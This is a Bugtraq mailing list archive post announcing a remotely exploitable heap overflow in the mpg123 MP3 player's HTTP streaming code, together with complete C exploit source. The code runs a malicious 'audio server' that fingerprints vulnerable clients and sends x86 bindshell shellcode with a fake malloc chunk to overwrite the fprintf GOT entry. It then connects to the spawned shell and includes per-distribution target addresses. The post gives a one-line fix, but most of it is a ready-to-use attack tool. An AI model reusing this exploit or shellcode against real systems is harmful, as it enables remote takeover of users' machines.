Home page logo
/

bugtraq logo Bugtraq mailing list archives

mpg123[v0.59r,v0.59s]: remote client-side heap corruption exploit.
From: Vade 79 <v9 () fakehalo deadpig org>
Date: 23 Sep 2003 03:44:59 -0000



did an audit of mpg123(my mp3 player of choice), found a remotely
exploitable bug in audio streaming service(httpget.c); applies to v0.59r
and v0.59s(pre, up to current as of writing this).  the exploit comments
explain how it works and how to find the memory addresses needed(if not
already a target value).

original exploit reference(URL):
 http://fakehalo.deadpig.org/xmpg123.c


----------------------- exploit source: xmpg123.c -----------------------

/*[ mpg123[v0.59r,v0.59s]: remote client-side heap corruption exploit. ]*
 *                                                                      *
 * by: vade79/v9 v9 () fakehalo deadpig org (fakehalo/realhalo)            *
 *                                                                      *
 * Url:                                                                 *
 *  http://www.mpg123.de                                                *
 *                                                                      *
 * Mpg123, versions 0.59r and pre0.59s(current) contain a remotely      *
 * exploitable heap based buffer overflow.  The overflow occurs when    *
 * the function readstring(), defined in httpget.c, does not properly   *
 * limit the amount of data written to a buffer. (*request)             *
 *                                                                      *
 * The vulnerable function is used when reading strings from remote     *
 * hosts, such as http audio streaming services.  The function is only  *
 * used in conjunction with writing to the *request buffer, which is    *
 * malloc'd into 1024 bytes.                                            *
 *                                                                      *
 * This function will continue reading into the *request buffer, byte   *
 * by byte, until a '\n' is read.  The function has a "maximum value to *
 * write" argument passed to it, ie. readstring(char *string, int       *
 * maxlen, FILE *f), but does not use it at all. (except for the old,   *
 * commented out, unused code)                                          *
 *                                                                      *
 * This exploit takes advantage of the vulnerability by using the       *
 * unlink() malloc chunk manipulation method.  This will require exact  *
 * addresses for use with the exploit.  You can find out how to get the *
 * addresses needed in the define comments or by viewing the help       *
 * screen(this will still not get you the exact offset, test to find    *
 * it; use the "-+" argument).                                          *
 *                                                                      *
 * Usage:                                                               *
 *  # cc xmpg123.c -o xmpg123                                           *
 *  # ./xmpg123 [-sgr+tl] -p port                                       *
 *                                                                      *
 * Exploit workings:                                                    *
 *  client connects:                                                    *
 *   /usr/bin/mpg123 http://www.host-running-xmpg123.com:port           *
 *  www.host-running-xmpg123.com sends:                                 *
 *   <64 byte filler><shellcode>...<* filler>|<16 byte malloc chunk>    *
 *   Where '|' is the 1024 byte boundary, followed by the 4*4=16        *
 *   byte fake malloc chunk.                                            *
 *                                                                      *
 * The bug itself(mpg123/httpget.c):                                    *
 *  void readstring (char *string, int maxlen, FILE *f)                 *
 *  {                                                                   *
 *  #if 0                                                               *
 *          char *result;                                               *
 *  #endif                                                              *
 *          int pos = 0;                                                *
 *                                                                      *
 *          while(1) {                                                  *
 *                  if( read(fileno(f),string+pos,1) == 1) {            *
 *                          pos++;                                      *
 *                          if(string[pos-1] == '\n') {                 *
 *                                  string[pos] = 0;                    *
 *                                  break;                              *
 *                          }                                           *
 *                  }                                                   *
 *                  else if(errno != EINTR) {                           *
 *                          fprintf (stderr, "Error reading from socke$ *
 *                          exit(1);                                    *
 *                  }                                                   *
 *          }                                                           *
 *  #if 0                                                               *
 *          do {                                                        *
 *                  result = fgets(string, maxlen, f);                  *
 *          } while (!result  && errno == EINTR);                       *
 *          if (!result) {                                              *
 *                  fprintf (stderr, "Error reading from socket or une$ *
 *          }                                                           *
 *  #endif                                                              *
 *                                                                      *
 *  }                                                                   *
 *                                                                      *
 * Source quick fix:                                                    *
 *  -while(1) {                                                         *
 *  +while(maxlen>pos) {                                                *
 *                                                                      *
 * Example(test on localhost):                                          *
 *  (exploit daemon)                                                    *
 *   # ./xmpg123 -t 2 -p 80                                             *
 *   [*] mpg123[v0.59r,v0.59s]: remote client-side heap corruption exp$ *
 *   [*] by: vade79/v9 v9 () fakehalo deadpig org (fakehalo/realhalo)      *
 *                                                                      *
 *   [*] platform value base         : redhat 7.1, factory binary.      *
 *   [*] fprintf GOT address         : 0x08067170.                      *
 *   [*] *request address location   : 0x0807ddb0.                      *
 *   [*] *request offset(+?*4)       : 16(=64), ret=0x0807ddf0.         *
 *                                                                      *
 *   [*] awaiting connection from: *:80.                                *
 *   [*] audio server connection established. (127.0.0.1)               *
 *   [*] waiting for request information, to verify the client.         *
 *   [*] client is running an exploitable version, continuing.          *
 *   [*] sending the string to exploit the overflow condition.          *
 *   [*] closed audio server connection.                                *
 *   [*] checking to see if the exploit was successful.                 *
 *   [*] attempting to connect: 127.0.0.1:7979.                         *
 *   [*] successfully connected: 127.0.0.1:7979.                        *
 *                                                                      *
 *   Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 200$ *
 *   uid=500(v9) gid=500(v9) groups=500(v9)                             *
 *                                                                      *
 *  (mpg123 client)                                                     *
 *   # mpg123 http://localhost                                          *
 *   High Performance MPEG 1.0/2.0/2.5 Audio Player for Layer 1, 2 and$ *
 *   Version 0.59r (1999/Jun/15). Written and copyrights by Michael     *
 *   Uses code from various people. See 'README' for more!              *
 *   THIS SOFTWARE COMES WITH ABSOLUTELY NO WARRANTY! USE AT YOUR OWN $ *
 *   (hangs until the bindshell is closed, if successful)               *
 *                                                                      *
 * Note:                                                                *
 *  I provided several example target values, however if you are not    *
 *  one of those targets, guessing will not work; you will need the     *
 *  exact values for the fprintf GOT address, *request address, and the *
 *  exact offset to the shellcode. (0x663c0beb = start of code; what    *
 *  you want to look for in gdb for an offset from *request)            *
 *                                                                      *
 * (still squished, un-spaced, and un-tabbed; as it should be)          *
 ************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <strings.h>
#include <signal.h>
#include <unistd.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>

/* (generic value used in the definition, use to the -g argument)  */
/* this value is going to be the fprintf GOT(global offset table)  */
/* address, to find this value run:                                */
/*  # objdump -R /usr/bin/mpg123 | grep fprintf | grep -v "vf"     */
/*  08012345 R_386_JUMP_SLOT   fprintf                             */
#define GOT_ADDR 0x08012345

/* (generic value used in the definition, use to the -r argument)  */
/* this value is going to be the pointer of the *request buffer.   */
/* this value can be found by running:                             */
/*  # ltrace /usr/bin/mpg123 -t http://null 2>&1|grep 1024|head -1 */
/*  malloc(1024)                                      = 0x08054321 */
/* the location of the shellcode will be 64(16) or more bytes off  */
/* depending on the situation.  the exact address of the shellcode */
/* you'll have to find it on your own(use gdb), if you don't know  */
/* how a good guess is 16(64).  the offset formula is:             */
/*  (REQUEST_ADDR+(offset*4))                                      */
#define REQUEST_ADDR 0x08054321

/* generic port for the bindshell to listen on.                    */
#define DFL_SPORT 7979

/* generic timeout for connections, before giving up.              */
#define TIMEOUT 10

/* normally this would jmp 10(0x0a).  but, that is the CR/enter    */
/* value; so it is going to jmp 11(0x0b) instead, simply to avoid  */
/* using that character.  the bindshell portion of the shellcode   */
/* was written by netric(group).  also added exit() to look less   */
/* obvious. (to avoid segmentation faults/illegal instructions)    */
static char x86_exec[]=
 "\xeb\x0b\x3c\x66\x61\x6b\x65\x68\x61\x6c\x6f\x3f\x3e\x31\xc0\x50"
 "\x40\x89\xc3\x50\x40\x50\x89\xe1\xb0\x66\xcd\x80\x31\xd2\x52\x66"
 "\x68\x00\x00\x43\x66\x53\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66"
 "\xcd\x80\x40\x89\x44\x24\x04\x43\x43\xb0\x66\xcd\x80\x83\xc4\x0c"
 "\x52\x52\x43\xb0\x66\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x41\x80"
 "\xf9\x03\x75\xf6\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
 "\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

/* platform dealios. (stored and tested values)                    */
struct platform {
 /* name of the platform.                                          */
 char *p_name;
 /* fprintf GOT(global offset table) address.                      */
 unsigned int p_gotaddr;
 /* *request address location.                                     */
 unsigned int p_requestaddr;
 /* offset*4 from(+) *request, where the shellcode is.             */
 unsigned int p_retoffset;
};
struct platform target[]={
 {"mandrake 9.1, factory binary",0x0806fac8,0x08086678,26},
 {"mandrake 9.0, factory binary",0x0806d5a8,0x08084130,26},
 {"redhat 7.1, factory binary",0x08067170,0x0807ddb0,16},
 {"redhat 7.1, src(pre0.59s) install",0x0806ef78,0x08086b10,18},
 {"gentoo 1.4, src pkg install",0x08072714,0x08092bf8,16},
 {"debian ?.? (unstable), pkg install",0x0806eed8,0x08085a90,16},
 {"crash test, (if crashes it's exploitable)",0xdeadbeef,0xdeadbeef,0},
 {NULL,0,0,0}
};

/* function definitions.                                           */
char *getbuf(void);
char *audioserver_bind(void);
void getshell(char *);
void printe(char *,short);
void platform_list(void);
void usage(char *);
void sig_alarm(){printe("alarm/timeout hit.",1);}

/* global values used throughout.                                  */
unsigned short port=0;
unsigned short sport=DFL_SPORT;
unsigned int gotaddr=GOT_ADDR;
unsigned int requestaddr=REQUEST_ADDR;
unsigned int retoffset=0;

/* start of operations.                                            */
int main(int argc,char **argv){
 unsigned int i=0;
 int chr=0;
 char *hostptr, *nameptr="none";
 printf("[*] mpg123[v0.59r,v0.59s]: remote client-side heap corruption"
 " exploit.\n[*] by: vade79/v9 v9 () fakehalo deadpig org (fakehalo/realh"
 "alo)\n\n");
 while((chr=getopt(argc,argv,"p:s:g:r:+:t:l"))!=EOF){
  switch(chr){
   case 'p':
    port=atoi(optarg);
    break;
   case 's':
    sport=atoi(optarg);
    break;
   case 'g':
    sscanf(optarg,"%x",&gotaddr);
    break;
   case 'r':
    sscanf(optarg,"%x",&requestaddr);
    break;
   case '+':
    retoffset=(atoi(optarg)*4);
    break;
   case 't':
    i=0;
    while(target[i].p_name)i++;
    if(atoi(optarg)>=i)
     printf("[!] %u is not a valid target, ignored.\n",atoi(optarg));
    else{
     nameptr=target[atoi(optarg)].p_name;
     gotaddr=target[atoi(optarg)].p_gotaddr;
     requestaddr=target[atoi(optarg)].p_requestaddr;
     retoffset=(target[atoi(optarg)].p_retoffset*4);
    }
    break;
   case 'l':
    platform_list();
    break;
   default:
    usage(argv[0]);
    break;
  }
 }
 if(!port)usage(argv[0]);
 /* verbose display.                                               */
 printf("[*] platform value base\t\t: %s.\n",nameptr);
 printf("[*] fprintf GOT address\t\t: 0x%.8x.\n",gotaddr);
 printf("[*] *request address location\t: 0x%.8x.\n",requestaddr);
 printf("[*] *request offset(+?*4)\t: %u(=%u), ret=0x%.8x.\n\n",
 (retoffset/4),retoffset,(requestaddr+retoffset));
 /* set the bindshell port in the shellcode(byte 33/34).           */
 x86_exec[33]=(sport&0xff00)>>8;
 x86_exec[34]=(sport&0x00ff);
 /* audioserver_bind() returns the host that connected to it.      */
 hostptr=audioserver_bind();
 /* check the host for success, see if the bindshell is listening. */
 getshell(hostptr);
 printf("[!] exploit failed.\n");
 exit(0);
}
/* makes the exploit buffer, an all-in-one function.               */
char *getbuf(void){
 char *buf;
 /* buf=1024 + chunk structure=16 + "\n\n"=2.                      */
 if(!(buf=(char *)malloc(1024+16+2+1)))
  printe("getbuf(): allocating memory failed.",1);
 memset(buf,0x78,1024);
 /* data in the beginning of the buffer gets truncated by the      */
 /* second \n, adding a static filler value before the shellcode.  */
 memcpy(buf+64,x86_exec,strlen(x86_exec));
 /* --now exceeding buffer limits, overwriting internal values--   */
 *(long *)&buf[1024]=0xfffffffc;
 *(long *)&buf[1028]=0xffffffff;
 *(long *)&buf[1032]=(gotaddr-12);
 *(long *)&buf[1036]=(requestaddr+retoffset);
 buf[1040]=0x0a;
 /* the second '\n' triggers it, also causes *request truncation.  */
 buf[1041]=0x0a;
 return(buf);
}
/* the "audio server" fake daemon, what mpg123 connects to.        */
char *audioserver_bind(void){
 unsigned int salen=0;
 int ssock=0,sock=0,so=1;
 char *buf;
 struct sockaddr_in ssa,sa;
 if(!(buf=(char *)malloc(1024+1)))
  printe("audioserver_bind(): allocating memory failed.",1);
 ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
 setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
 /* not everywheres, maybe pretty close by now though.             */
#ifdef SO_REUSEPORT
 setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
#endif
 ssa.sin_family=AF_INET;
 ssa.sin_port=htons(port);
 ssa.sin_addr.s_addr=INADDR_ANY;
 if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
  printe("could not bind socket.",1);
 while(ssock){
  printf("[*] awaiting connection from: *:%d.\n",port);
  listen(ssock,1);
  bzero((char*)&sa,sizeof(struct sockaddr_in));
  salen=sizeof(sa);
  sock=accept(ssock,(struct sockaddr *)&sa,&salen);
  printf("[*] audio server connection established. (%s)\n",
  inet_ntoa(sa.sin_addr));
  /* to verify the agent, ie. "User-Agent: mpg123/0.59r\n".        */
  printf("[*] waiting for request information, to verify the client.\n");
  read(sock,buf,1024);
  if(strstr(buf,"mpg123/0.59r")||strstr(buf,"mpg123/0.59s")){
   printf("[*] client is running an exploitable version, continuing.\n");
   /* got the client we want, close the server socket.             */
   close(ssock);
   ssock=0;
  }
  else{
   printf("[!] client is not running an exploitable version, skipped.\n");
   close(sock);
  }
 }
 /* send the pre-packaged all-in-one exploit string.               */
 printf("[*] sending the string to exploit the overflow condition.\n");
 write(sock,getbuf(),strlen(getbuf()));
 /* sleeps always make me feel safer for some reason.              */
 sleep(1);
 close(sock);
 printf("[*] closed audio server connection.\n");
 free(buf);
 /* return the host that connected to us.                          */
 return(inet_ntoa(sa.sin_addr));
}
/* client to connect to the bindshell, and allow interactive cmds. */
void getshell(char *hostname){
 int sock,r;
 char *buf;
 fd_set fds;
 struct hostent *he;
 struct sockaddr_in sa;
 if(!(buf=(char *)malloc(4096+1)))
  printe("getshell(): allocating memory failed.",1);
 printf("[*] checking to see if the exploit was successful.\n");
 if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
  printe("getshell(): socket() failed.",1);
 sa.sin_family=AF_INET;
 if((sa.sin_addr.s_addr=inet_addr(hostname))){
  if(!(he=gethostbyname(hostname)))
   printe("getshell(): couldn't resolve.",1);
  memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
  sizeof(sa.sin_addr));
 }
 sa.sin_port=htons(sport);
 signal(SIGALRM,sig_alarm);
 alarm(TIMEOUT);
 printf("[*] attempting to connect: %s:%d.\n",hostname,sport);
 if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
  printf("[!] connection failed: %s:%d.\n",hostname,sport);
  return;
 }
 alarm(0);
 printf("[*] successfully connected: %s:%d.\n\n",hostname,sport);
 signal(SIGINT,SIG_IGN);
 write(sock,"uname -a;id\n",13);
 while(1){
  FD_ZERO(&fds);
  FD_SET(0,&fds);
  FD_SET(sock,&fds);
  if(select(sock+1,&fds,0,0,0)<1)
   printe("getshell(): select() failed.",1);
  if(FD_ISSET(0,&fds)){
   if((r=read(0,buf,4096))<1)
    printe("getshell(): read() failed.",1);
   if(write(sock,buf,r)!=r)
    printe("getshell(): write() failed.",1);
  }
  if(FD_ISSET(sock,&fds)){
   if((r=read(sock,buf,4096))<1)
    exit(0);
   write(1,buf,r);
  }
 }
 close(sock);
 return;
}
/* prints error messages and/or exits afterwords.                  */
void printe(char *err,short e){
 printf("[!] error: %s\n",err);
 if(e)exit(1);
 return;
}
/* like it looks; lists the platforms in a loop.                   */
void platform_list(void){
 unsigned int i=0;
 for(i=0;target[i].p_name;i++)
  printf("[*] %u\t: %s.\n",i,target[i].p_name);
 printf("\n");
 exit(0);
}
/* verbose program syntax.                                         */
void usage(char *name){
 printf(" usage: %s [options] -p port\n\n options:\n"
 "  -p <number>\tdefines the server port.\t\t(REQUIRED, usually 80)\n"
 "  -s <number>\tdefines the bindshell port.\t\t(%u)\n"
 "  -g <string>\tdefines GOT address.\t\t\t(0x%.8x)\n"
 "  -r <string>\tdefines *request address.\t\t(0x%.8x)\n"
 "  -+ <number>\tadds number*4 to the return address.\t(0x%.8x+(?*4))\n"
 "  -t <number>\timports a target table to use as values.\n"
 "  -l\t\twill list the target values available.\n\n"
 " to find the -g argument type:\n"
 "  # objdump -R /usr/bin/mpg123 | grep fprintf | grep -v \"vf\"\n"
 "  08012345 R_386_JUMP_SLOT   fprintf\n\n"
 " to find the -r argument type:\n"
 "  # ltrace /usr/bin/mpg123 -t http://null 2>&1|grep 1024|head -1\n"
 "  malloc(1024)                                      = 0x08054321\n\n"
 " (offset to shellcode from *request(-r) must be found manually)\n\n",
 name,sport,gotaddr,requestaddr,requestaddr);
 exit(0);
}


  By Date           By Thread  

Current thread:
  • mpg123[v0.59r,v0.59s]: remote client-side heap corruption exploit. Vade 79 (Sep 23)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]